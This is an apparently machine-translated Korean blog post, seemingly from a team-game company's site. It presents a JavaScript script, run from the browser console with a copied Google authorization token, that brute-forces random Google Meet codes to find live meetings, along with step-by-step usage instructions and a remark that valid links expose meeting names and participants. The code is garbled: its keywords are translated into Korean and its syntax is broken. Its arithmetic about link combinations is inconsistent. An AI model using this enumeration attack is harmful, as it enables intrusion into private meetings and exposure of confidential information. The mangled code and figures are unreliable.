Visio- Google Meet에 갇히십시오 | Dyrk, Dyna Meet -Visio

Visio를 만나십시오

randomize = () => dico = dico.나뉘다 (”).지도 (value =>)< value, sort: Math.random() >))).주문 ((a, b) => a.주문 -B.주문).지도 ((< value >) => value).가입하다 (”),
newPatternkey = () => “xxx-xxxx-xxx”.나뉘다 (”).지도 (c => c == ‘-‘?C : 문자열.Charcode (Math.바닥 (수학.랜덤 ()*25) +97)).가입하다 (”),
key = newPatternkey (), 카운터 = 20;
다음 = () => 키입니다.나뉘다 (”).지도 (e => e == ‘-‘ ? E : DICO [DICO.indexof (e) + 1> = dico.길이 ? 0 : DICO.지수 (e) + 1]).가입하다 (”),
카운터 = 0;
MeetLink = ‘https : // meet.Google.com/’, 사용 가능한 toe = () => xhr = new xmlhttprequest ();
if (counter ++> = 20) 카운터 = 0;
key = newPatternkey ();
randomize ();
>
key = next ();
XHR.Open ( ‘get’, meetLink + 키);
XHR.addEventLisner ( ‘load’, (e) => fetch (meetLink.concat ( “/$ rpc/google.RTC.회의.v1.MeetingsPaceserVice/resolveMeetingsPace “),”헤더 “:”권한 “: 승인,
“Content-Type”: “Application/X-Protobuf”,
“X-Goog-Adep-Key”: e.표적.책임.매치 (/\ [ “https \ : \/\/Meet \.Google\.com \ “\,”([a-za-z0-9 \ _ \-]) “\]/) [1],
“x-goog-authuse”: “0”,
“x-goog-encode-réspose-if-executable”: “base64”,
“X-goog-meeting-endifier”: btoa ( ‘\ b \ x02 \ x12 \ f’.CONCAT (키)),
>,
“바디”: “\ n \ f”.concat (키, “0 \ u0001”),
“방법”: “Post”
>)).그런 다음 (e => e.텍스트 ())
.그런 다음 (e => settimeout (availiling, 100);
콘솔.로그 (METERLINK.콘텐츠 (키).BeautifyDisplay (38), (e.교체 (/[^a-za-z0-9]/g, “”)+””).BeautifyDisplay (38));
>);
>);
XHR.보내다 ();
>;
끈.원기.BeautifyDisplay = 함수 (크기) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >크기 ? txt.길이 : 크기))).기판 (0, 크기).concat ( ‘|’); >,
콘솔.분명한 ();
사용 가능 ();
>) ()

끔찍한

현재 사이버 보안 분야에서 일하고 있는데, 나는 정기적으로 상당히 사소한 상황에 직면하고 있습니다.

가장 최근에, 회의 중에 사람의 침입 .
다행스럽게도 안전을 위해 Google Meet은 참가자에게 사람이 화상 회의에 참여하려는 것을 경고하고이를 수락하거나 거부 할 수있는 기능을 포함했습니다.

그러나이 행사는 나에게 여러 가지 질문을하게합니다 .

Google 모임 링크의 복잡성

우선, 사람이 초대받지 않고 모임 링크에 연결할 수있는 방법 ?

링크의 단순성을 고려해야합니다 : https : // Google.만나다.com/xxx -yyyy -zzzz

xxx -yyyy -zzzz A와 Z 사이의 알파벳 문자 일뿐.

따라서 수학자들에게는 다음이 있습니다

27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 가능한 조합 .

Google 모임 링크의 수명

우리는 이제 “Google Meet”컨퍼런스 채권의 링크가 어떻게 구축되는지 더 잘 이해할 수 있지만, 고려해야 할 매우 중요한 측면이 있습니다 . Google Meet 링크의 수명 !

실제로 모든 사람은 몇 번의 클릭 후 Google 회의를 생성 할 수 있습니다.
그러나 며칠, 몇 주 또는 몇 달 후 . 링크는 더 이상 유효하지 않습니다.

따라서 생성 된 링크는 일정 기간의 유효성을 갖습니다 .

예외는 “반복”이벤트를 만들고, 이것이 흥미로워지는 곳입니다.
비즈니스에는 정기적으로 정기적으로 조직 할 수있는 많은 기회가 있습니다 (팀 / 비즈니스, 매일, 매주, 매월,, . ))).
직원이 의제에서 이러한 유형의 이벤트를 생성하면 자동으로 Google 모임 링크가 생성됩니다. 이것은 변하지 않습니다.
그래서 당신은이 이벤트에 대해 매번 같은 링크를 가질 것입니다.

약간의 자바 스크립트와 무자비한 힘으로 ?

이 모든 요소를 ​​통해 이제 우리는 이제 모든 가능성을 휩쓸고 videoconociates에 대한 링크를 감지 할 높은 확률에 도달 할 수 있습니다 !

그래서 나는 약간의 복고풍 보험에 가입하여 Google Meet의 운영을 통해 JavaScript 코드를 작성하여 무한한 수의 조합을 시도 할 수 있습니다

(c) 끔찍한.ORG 2023-2024- Meet ‘s Roulette
(1) https : // Google 에서이 스크립트를 실행하십시오.만나다.com

(2) Googles의 “XHR 요청”헤더에서 유효한 승인 토큰으로 승인 변수 찾기 및 업데이트

승인을하자 = “SapisIdhash xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx입니다“, dico =”abcdefghijklmnopqrstuvxz “,

randomize = () => dico = dico.나뉘다 (”).지도 (value =>)< value, sort: Math.random() >))).주문 ((a, b) => a.주문 -B.주문).지도 ((< value >) => value).가입하다 (”),
newPatternkey = () => “xxx-xxxx-xxx”.나뉘다 (”).지도 (c => c == ‘-‘?C : 문자열.Charcode (Math.바닥 (수학.랜덤 ()*25) +97)).가입하다 (”),
key = newPatternkey (), 카운터 = 20;
다음 = () => 키입니다.나뉘다 (”).지도 (e => e == ‘-‘ ? E : DICO [DICO.indexof (e) + 1> = dico.길이 ? 0 : DICO.지수 (e) + 1]).가입하다 (”),
카운터 = 0;
MeetLink = ‘https : // meet.Google.com/’, 사용 가능한 toe = () => xhr = new xmlhttprequest ();
if (counter ++> = 20) 카운터 = 0;
key = newPatternkey ();
randomize ();
>
key = next ();
XHR.Open ( ‘get’, meetLink + 키);
XHR.addEventLisner ( ‘load’, (e) => fetch (meetLink.concat ( “/$ rpc/google.RTC.회의.v1.MeetingsPaceserVice/resolveMeetingsPace “),”헤더 “:”권한 “: 승인,
“Content-Type”: “Application/X-Protobuf”,
“X-Goog-Adep-Key”: e.표적.책임.매치 (/\ [ “https \ : \/\/Meet \.Google\.com \ “\,”([a-za-z0-9 \ _ \-]) “\]/) [1],
“x-goog-authuse”: “0”,
“x-goog-encode-réspose-if-executable”: “base64”,
“X-goog-meeting-endifier”: btoa ( ‘\ b \ x02 \ x12 \ f’.CONCAT (키)),
>,
“바디”: “\ n \ f”.concat (키, “0 \ u0001”),
“방법”: “Post”
>)).그런 다음 (e => e.텍스트 ())
.그런 다음 (e =>

settimeout (use, 100);
콘솔.로그 (METERLINK.콘텐츠 (키).BeautifyDisplay (38), (e.교체 (/[^a-za-z0-9]/g, “”)+””).BeautifyDisplay (38));
>);
>);
XHR.보내다 ();
>;
끈.원기.BeautifyDisplay = 함수 (크기) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >크기 ? txt.길이 : 크기))).기판 (0, 크기).concat ( ‘|’); >,
콘솔.분명한 ();
사용 가능 ();
>) ()

이 모든 작업을 수행하려면 다음이 필요합니다

  1. 페이지를 엽니 다 https : // meet.Google.com
  2. 개발자 콘솔을 엽니 다
  3. “네트워크”탭에서 Fetch / XHR을 필터링하고 토큰 토큰 복구“권한 부여”
  4. 위의 소스 코드를 복사하여 붙여 넣고 그 장소에 토큰을 표시했습니다.
  5. 키보드의 “입구”키로 유효성 검사.

“승인”토큰의 복구 :

궁금한 점은이 대본의 결과가 어떻게 생겼는지입니다.
그러므로 우리는 화상 회의 공간이 존재하지 않는다는 것을 알려주는 선에 주목합니다.
그리고 우리를 컨퍼런스의 토큰을 올리는 다른 사람들 ! 따라서 링크가 유효하다는 것을 나타냅니다.)

그러나 회의 링크에서 몇 초 안에 떨어질 것으로 기대하지 마십시오 ^^
(당신이 조금 운이 좋은 사람이 아니라면)
당신은 큰 인내심이 있어야합니다.

결론

Loto에서 우승하는 것보다 유효한 Google Meet 링크를 찾는 데 더 많은 행운이 있다고 당황하지 마십시오.

주목 ! 유효한 만남의 링크를 만난 사람은 연결할 필요없이 특정 정보에 대한 링크 액세스를 제공합니다
회의 이름 (따라서 기밀 정보를 미끄러지지 않도록하지 않음) 및 연결된 참가자 (전부 또는 게임).

Visio를 만나십시오

온라인 강도

베스트셀러 스티커 온라인 강도

플레이어

최대 1000 명의 플레이어가 동시에

Visio의 쉬운 액세스 플랫폼

Horizon 2024

썸네일 - Horizon 2024 -Visio

플레이어

최대 1000 명의 플레이어가 동시에

Visio의 쉬운 액세스 플랫폼

찰리는 어디에 있습니다 ?!

썸네일 - Charlie -Visio는 어디에 있습니까?

플레이어

최대 1000 명의 플레이어가 동시에

Visio의 쉬운 액세스 플랫폼

수수께끼 미션

썸네일 - 미션 enigma -visio

플레이어

최대 1000 명의 플레이어가 동시에

Visio의 쉬운 액세스 플랫폼

사이버 보안 인식

썸네일 - 사이버 보안 - Visio

플레이어

최대 5000 명의 플레이어가 동시에

Visio의 쉬운 액세스 플랫폼

크리스마스를 저장하십시오 !

썸네일 - 크리스마스를 저장하십시오! -Visio

플레이어

최대 1000 명의 플레이어가 동시에

Visio의 쉬운 액세스 플랫폼

Copyright © 2023 -Dyna’meet

쿠키에 대한 동의를 관리합니다

최상의 경험을 제공하기 위해 쿠키와 같은 기술을 사용하여 장치의 정보를 저장 및/또는 액세스합니다. 이러한 기술에 동의하면이 사이트에서 내비게이션 동작 또는 고유 한 ID와 같은 데이터를 처리 할 수 ​​있습니다. 동의에 동의하거나 철회하지 않는 사실은 특정 특성과 기능에 부정적인 영향을 줄 수 있습니다.

기능적 기능은 항상 활성화되었습니다

가입자 또는 사용자가 명시 적으로 요청한 특정 서비스를 사용하거나 전자 커뮤니케이션 네트워크에서 통신 전송을 전송하기위한 단독 목적을 위해 정당한 이익이 끝날 때 스토리지 또는 기술 액세스는 엄격하게 필요합니다.

기본 설정 환경 설정

가입자 또는 서비스를 사용하는 사람이 요청하지 않는 선호도를 저장하기 위해 합법적 인이자의 목적으로 저장 또는 기술 액세스가 필요합니다.

통계 통계

통계 목적으로 독점적으로 사용되는 스토리지 또는 기술 액세스. 익명의 통계 목적으로 독점적으로 사용되는 스토리지 또는 기술 액세스. 소환장이없는 경우, 인터넷 액세스 제공 업체 또는 제 3 자의 추가 기록에 대한 자발적인 준수 여부에 따라이 목적에 저장되거나 추출 된 정보는 일반적으로 귀하를 식별하는 데 사용할 수 없습니다.

광고를 보내거나 웹 사이트 또는 유사한 마케팅 목적으로 여러 웹 사이트에서 사용자를 팔로우하기 위해 사용자 프로필을 작성하려면 스토리지 또는 기술 액세스가 필요합니다.